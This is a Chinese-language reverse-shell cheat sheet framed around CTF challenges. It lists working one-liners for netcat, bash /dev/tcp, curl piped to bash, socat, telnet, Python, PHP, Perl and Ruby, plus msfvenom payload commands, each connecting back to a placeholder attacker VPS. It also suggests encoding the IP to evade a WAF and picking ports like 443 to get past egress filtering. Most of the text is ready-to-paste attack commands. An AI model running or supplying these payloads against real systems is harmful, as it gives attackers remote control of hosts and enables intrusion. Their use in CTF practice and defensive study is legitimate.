基本原理

在ctf题目中,基本上遇到的都是linux系统环境,当尝试获取控制权却发现无回显时,通常采用反弹shell的方法。

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

反弹shell的优点在于不用知道目标机开放的端口和目标机ip,在ctf题目中,通常没有回显的远程命令执行就会采用反弹shell的方法。

实现方式

反弹shell的方式有很多,而具体采用哪种方式,哪种方式会成功,主要取决于目标主机上有什么样的环境以及当前用户有哪些权限,有调用bash的权限就bash弹,有装nc就nc弹,有装python就用python弹,如果题目中有提示,就用这种方法弹,没有提示就多试试

下面是具体的反弹shell一句话:

netcat

1
2
nc -lvvp 2333 #攻击机
nc vps的IP 2333 -e /bin/bash #目标机

bash

1
2
nc -lvvp 2333 #攻击机
bash -i >& /dev/tcp/vps的IP/2333 0>&1 #目标机

curl配合bash反弹shell

借助了linux中的管道,首先在攻击机的web目录里面创建一个index文件(可以是index.php或index.html),内容是bash -i >& /dev/tcp/vps的IP/2333 0>&1

接下来在攻击机开启对该端口的监听

然后再在目标机执行curl vps的IP|bash即可反弹shell,这个ip可以是任意格式的,十进制,十六进制,八进制,二进制等等,可以绕过waf。

Socat

1
2
socat TCP-LISTEN:2333 -或nc -lvvp 2333
socat tcp-connect:vps的IP:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

Telnet

法一

1
2
nc -lvvp 2333
mknod a p; telnet vps的IP 2333 0<a | /bin/bash 1>a

法二

1
2
nc -lvvp 2333nc -lvvp 4000
telnet vps的IP 2333 | /bin/bash | telnet vps的IP 4000

攻击机需要开两个本地监听,2333输命令,4000看结果

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps的IP",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如果无效可以试试改为python3

PHP

1
php -r '$sock=fsockopen("vps的IP",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl

1
perl -e 'use Socket;$i="vps的IP";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

1
ruby -rsocket -e 'c=TCPSocket.new("vps的IP","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'或ruby -rsocket -e 'exit if fork;c=TCPSocket.new("vps的IP","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

利用msfvenom生成一句话

1
2
msfvenom -l payloads | grep 'cmd/unix/reverse'
msfvenom -p cmd/unix/reverse_python LHOST=vps的IP LPORT=2333 -f raw

自行选择生成payload使用

反弹完shell之后可以输入python -c "import pty;pty.spawn('/bin/bash')"来获得模拟终端,从而进行更多操作。

一些意外

由于各个题目千奇百怪的环境,有很多情况下反弹shell并不会成功,主要原因有以下几个

  • 当前用户无权调用bash:无解
  • 禁止出站ip:设置了严格的出站策略,只允许连接到几个公网ip,无解
  • 禁止出站端口:找到允许访问的端口,使用8080或443,大概率都可以,记得在阿里云将安全组设置为允许所有ip访问监听的端口
  • 禁止出站协议:探测允许的协议

参考

反弹Shell,看这一篇就够了-腾讯云开发者社区-腾讯云
Reverse Shell原理及实现方式